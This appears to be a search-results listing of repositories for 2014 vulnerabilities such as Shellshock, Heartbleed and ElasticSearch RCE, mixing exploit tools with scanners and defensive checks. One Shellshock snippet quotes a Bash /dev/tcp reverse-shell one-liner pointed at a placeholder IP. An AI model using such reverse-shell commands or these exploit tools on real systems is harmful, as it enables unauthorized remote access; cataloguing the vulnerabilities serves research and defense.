33554 matches found
Shellshock_vuln_Exploit
🚨 Shellshock RCE 漏洞利用工具 CVE-2014-6271 这是一个针对 Shellshock 漏洞 CVE-2014-6271 的 Python 利用工具，该漏洞影响 GNU Bash 。此工具攻击易受攻击的 Web 服务器上的 CGI 脚本 ，并建立到攻击者机器的 反向 shell 。 CVE ID CVE-2014-6271 免责声明 此工具仅可用于 教育和道德目的 。 功能特性 利用易受攻击的 CGI 脚本（通过 Shellshock） 反向 shell 处理程序 支持： HTTP 和 HTTPS 自定义 CGI 路径 代理支持 成功时提供交互式 shell CV...
bleeding-heart
Heartbleed La vulnerabilidad Heartbleed CVE-2014-0160 es un grave defecto de implementación en la librería OpenSSL que permite a los atacantes robar datos de la memoria del servidor víctima. El contenido de los datos robados depende de lo que haya en la memoria del servidor. Podría contener...
MoodleHack
MoodleHack 漏洞描述 CVE-2014-3544...
XSHOCK
⚡ xShock ShellShock ⚡ Escrito por TMRSWRR Versión 1.0.0 xShock ShellShock CVE-2014-6271 Esta herramienta explota shellshock. Instagram: TMRSWRR 🖼️ Capturas de pantalla 🖼️...
Nessus_CVE-2014-6271_check
NessusCVE-2014-6271check Quick and dirty nessus .audit file to check is bash is vulnerable to CVE-2014-6271...
cookbook-bash-CVE-2014-6271
bash-CVE-2014-6271 Cookbook Este cookbook de Chef contiene una receta predeterminada que hará fallar su ejecución de Chef si se encuentra un bash y ese bash es vulnerable al exploit remoto descrito en CVE-2014-6271. Los lugares para buscar bash se pueden configurar en el atributo...
struts1filter
struts1filter Una solución de filtro de parámetros de solicitud para Apache Struts 1 CVE-2014-0114 basada en el trabajo de Alvaro Munoz y el equipo de HP Fortify. Para usar este filtro, añade la siguiente declaración de filtro junto con el mapeo apropiado al descriptor web.xml de la aplicación...
heartbleed-masstest
Esta herramienta permite escanear varios hosts en busca de Heartbleed, de manera eficiente y multihilo. Esto comprueba las versiones de OpenSSL vulnerables a Heartbleed sin explotar el servidor, por lo que la solicitud de heartbeat no hace que el servidor filtre datos de la memoria ni exponga...
lighty-sqlinj-demo
title: Ep4 - Vulnerabilidad Relacionada con Redes members: Ciro S. Costa Marcela Terakado date: 10 Nov, 2015 Vulnerabilidad relacionada: root@kitploit: CVE-2014-2323 1 was assigned to SQL injection bug. CVE-2014-2324 2 was assigned to the path traversal bug. Confirmación:...
ElasticSearch-CVE-2014-3120
ElasticSearch search Remote Code Execution CVE-2014-3120 POC Code to exploit CVE-2014-3120 Requirements: python Usage: python elasticcheck.py Example: root@kitploit: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not Vulnerable 2 10.0.0.12:9201 Connection err...
heartbleed-dtls
heartbleed-dtls-test POC para CVE-2014-0160 Heartbleed para DTLS. Licencia Este código está licenciado bajo la Licencia BSD de 3 cláusulas archivo LICENSE, que es 99% idéntica a la licencia de Go archivo LICENSE.golang. Dado que grandes partes de este código están copiadas/inspiradas en el código...
CVE-2014-4210-SSRF-PORTSCANNER-POC
CVE-2014-4210 SSRF PORTSCANNER PoC Autor: Aaron Mizrachi unmanarc [email protected] Twitter: https://twitter.com/unmanarc Licencia: LGPLv3 Responsabilidad / Aviso Legal Este proyecto está hecho SOLO con fines EDUCATIVOS y de PRUEBAS ÉTICAS. El uso del código fuente de este repositorio para...
exploit-CVE-2014-6271
Exploit de Shellshock + entorno vulnerable Shellshock, también conocido como Bashdoor, es una familia de errores de seguridad en el ampliamente utilizado shell Bash de Unix, el primero de los cuales fue divulgado el 24 de septiembre de 2014. Muchos servicios expuestos a Internet, como algunas...
cve-2014-7920-7921_update
cve-2014-7920-7921 Exploit code for CVE-2014-7920 and CVE-2014-7921 - code-exec in mediaserver up to Android 5.1 The symbols in this exploit are for Android 4.3, for can be adapted to any version up to Android 5.1...
CVE-2014-4140
Algunas notas aproximadas 0:007 u MSHTML!CHtmRootParseCtx::AddText+0x104: 6efff0a5 8b8e88000000 mov ecx,dword ptr esi+88h 6efff0ab 898d70ffffff mov dword ptr ebp-90h,ecx 6efff0b1 8945ac mov dword ptr ebp-54h,eax 6efff0b4 8b5118 mov edx,dword ptr ecx+18h 6efff0b7 8bca mov ecx,edx 6efff0b9 83e103 a...
CVE-2014-6271
Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...
CVE-2014-6332
CVE-2014-6332 CVE-2014-6332 POC de ZeroDay - Inicia PowerShell...
heartbleed
Heartbleed Un comprobador sitio y herramienta para CVE-2014-0160. Software de@FiloSottile para iSC Inc...
bleeding_onions
BleedingOnions 追踪Tor网络的出口和中继（边缘）以检测CVE-2014-0160。 https://encrypted.redteam.net/bleedingonions/ 特别感谢： Stem，一个用于Tor的Python控制器库（https://stem.torproject.org/）。 Steffen Ullrich的用于检测CVE-2014-0160的Perl脚本。 https://github.com/wwwiretap/bleedingonions/blob/master/bin/check-ssl-heartbleed.pl Copyright 2014...